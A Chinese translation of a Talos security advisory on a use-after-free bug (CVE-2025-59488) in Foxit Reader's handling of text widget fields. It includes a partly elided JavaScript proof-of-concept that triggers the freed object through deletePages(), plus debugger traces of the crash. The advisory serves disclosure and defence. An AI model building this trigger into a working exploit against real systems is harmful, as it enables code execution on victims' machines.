Foxit Reader文本小部件格式释放后使用漏洞深度剖析

思科Talos安全团队披露了Foxit Reader中一个高危的释放后使用漏洞(CVE-2025-59488)。该漏洞存在于处理文本小部件字段对象的过程中,恶意JavaScript代码可触发内存损坏,最终导致任意代码执行。

TALOS-2025-2278 || 思科Talos情报小组 - 综合威胁情报

Foxit Reader 文本小部件格式释放后使用漏洞

发布日期:2025年12月19日

CVE 编号 CVE-2025-59488

概要 Foxit Reader在处理文本小部件字段对象的方式中存在一个释放后使用漏洞。恶意PDF文档内包含的经过特殊构造的JavaScript代码可以触发此漏洞,可能导致内存损坏并最终实现任意代码执行。攻击者需要诱使用户打开恶意文件才能触发此漏洞。如果浏览器插件扩展已启用,当用户访问经过特殊构造的恶意网站时,也可能被利用。

确认受影响的版本 以下版本经Talos测试、验证或供应商确认为存在漏洞。

  • Foxit Reader 2025.2.0.33046

产品链接

CVSSv3 评分 8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE CWE-416 - 释放后使用

详细信息 Foxit PDF Reader是最流行的PDF文档阅读器之一,其目标是与Adobe Acrobat Reader实现功能对等。作为一个完整且功能丰富的PDF阅读器,它支持用于交互式文档和动态表单的JavaScript。JavaScript支持带来了额外的攻击面。Foxit Reader使用V8 JavaScript引擎。

PDF渲染器和编辑器中的JavaScript支持使得文档可以根据用户输入或事件进行动态变化。Foxit Reader在处理文本小部件对象的方式中存在一个释放后使用漏洞。可以通过以下概念验证代码进行说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
function main() {
    app.activeDocs[0].getField('Text Field1').setFocus();
    [...]
    app.activeDocs[0].pageNum = 3;
    app.activeDocs[0].pageNum = 3;
}

function delete_pages() {
    app.activeDocs[0].deletePages();
}
[...]

function trigger_delete() {
    getField("txt5").setAction("Format", 'delete_pages();');
    app.activeDocs[0].getField('Radio Button0').checkThisBox(true);
    app.activeDocs[0].getField("Radio Button0").setFocus();
    getField("txt5").setAction("Calculate", 'main();');
    [...]
}

在上面的代码中,当main函数中将页面设置为4(索引从0开始)时,会调用trigger_delete函数。trigger_delete函数将一个回调函数分配给Format事件,该事件随后通过调用setFocus立即被触发。在回调函数内部,调用了deletePages,该函数进而释放与页面关联的所有对象。当对象被deletePages()释放后,随后在没有进行任何验证的情况下被访问时,就会发生释放后使用漏洞。我们可以在调试器中观察到以下情况(启用PageHeap):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
:000> g
malloc
FoxitPDFReader!safe_vsnprintf+0x337ca7:
00007ff6`61166ec7 b948000000      mov     ecx,48h  ;<------------------(1)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cac:
00007ff6`61166ecc e87f882c00      call    FoxitPDFReader!safe_vsnprintf+0x600530 (00007ff6`6142f750)  ;<------------------(2)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`61166ed1 488985d8000000  mov     qword ptr [rbp+0D8h],rax ss:00000020`9cef8668=000001667eaaafb0
0:000> dd rax                                        ;<------------------(3)
00000166`286a2fb0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fc0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2ff0  c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
00000166`286a3000  ???????? ???????? ???????? ????????
00000166`286a3010  ???????? ???????? ???????? ????????
00000166`286a3020  ???????? ???????? ???????? ????????

易受攻击的对象通过在(2)处调用函数创建,对象的大小在(1)处传递给函数。分配后,在(3)处检查了该易受攻击的对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:000> g
free
FoxitPDFReader!safe_vsnprintf+0x33a791:
00007ff6`611699b1 488bcf          mov     rcx,rdi ; <----------------- (4)
0:000> dd rdi
00000166`286a2fb0  00000002 00000000 72e40ed0 00000166
00000166`286a2fc0  7eaaafb0 00000166 00000000 00000000
00000166`286a2fd0  17865ff0 00000166 00000000 00000001
00000166`286a2fe0  00000000 00000008 00000000 c0c0c0c0
00000166`286a2ff0  00000000 00000000 d0d0d0d0 d0d0d0d0
00000166`286a3000  ???????? ???????? ???????? ????????
00000166`286a3010  ???????? ???????? ???????? ????????
00000166`286a3020  ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a794:
00007ff6`611699b4 e8775e2c00      call    FoxitPDFReader!safe_vsnprintf+0x600610 (00007ff6`6142f830) ; <----------------- (5)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a799:
00007ff6`611699b9 49c7042400000000 mov     qword ptr [r12],0 ds:00000020`9cefac38=00000166286a2fb0
0:000> dd 00000166286a2fb0   ; <----------------- (6)
00000166`286a2fb0  ???????? ???????? ???????? ????????
00000166`286a2fc0  ???????? ???????? ???????? ????????
00000166`286a2fd0  ???????? ???????? ???????? ????????
00000166`286a2fe0  ???????? ???????? ???????? ????????
00000166`286a2ff0  ???????? ???????? ???????? ????????
00000166`286a3000  ???????? ???????? ???????? ????????
00000166`286a3010  ???????? ???????? ???????? ????????
00000166`286a3020  ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a7a1:
00007ff6`611699c1 41c6859100000001 mov     byte ptr [r13+91h],1 ds:00000166`72e40f61=01

随后,当JavaScript API deletePages()被调用时,它会释放与页面关联的所有对象。它调用CPDF_InterForm::DeleteField,从而释放易受攻击的对象。(4)处的寄存器rdi包含了易受攻击的对象。(5)处调用的方法释放了该对象,并在释放操作后的(6)处检查了该对象的内容。

随后,易受攻击的对象在没有任何验证的情况下被使用。这可以在崩溃时在调试器中观察到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> g
(19d0.1904): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FoxitPDFReader!safe_vsnprintf+0x34d4c6:
00007ff6`6117c6e6 4c8b4108        mov     r8,qword ptr [rcx+8] ds:00000166`286a2fb8=???????????????? ;<------------------ (7)
0:000> u
FoxitPDFReader!safe_vsnprintf+0x34d4c6:
00007ff6`6117c6e6 4c8b4108        mov     r8,qword ptr [rcx+8]
00007ff6`6117c6ea 488bda          mov     rbx,rdx
00007ff6`6117c6ed 488b5110        mov     rdx,qword ptr [rcx+10h]
00007ff6`6117c6f1 488bcb          mov     rcx,rbx
00007ff6`6117c6f4 e827b5ffff      call    FoxitPDFReader!safe_vsnprintf+0x348a00 (00007ff6`61177c20)
00007ff6`6117c6f9 488bc3          mov     rax,rbx
00007ff6`6117c6fc 4883c430        add     rsp,30h
00007ff6`6117c700 5b              pop     rbx
0:000> dd rcx
00000166`286a2fb0  ???????? ???????? ???????? ????????
00000166`286a2fc0  ???????? ???????? ???????? ????????
00000166`286a2fd0  ???????? ???????? ???????? ????????
00000166`286a2fe0  ???????? ???????? ???????? ????????
00000166`286a2ff0  ???????? ???????? ???????? ????????
00000166`286a3000  ???????? ???????? ???????? ????????
00000166`286a3010  ???????? ???????? ???????? ????????
00000166`286a3020  ???????? ???????? ???????? ????????

崩溃发生在(7)处,当对象在没有进行任何验证的情况下被解引用时。根据进程的内存布局,攻击者可能能够执行任意读写操作,这最终可能被利用以实现任意代码执行。

时间线

  • 2025年10月06日 - 向供应商披露
  • 2025年12月19日 - 供应商发布补丁
  • 2025年12月19日 - 公开披露

致谢 由思科Talos的KPC发现。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计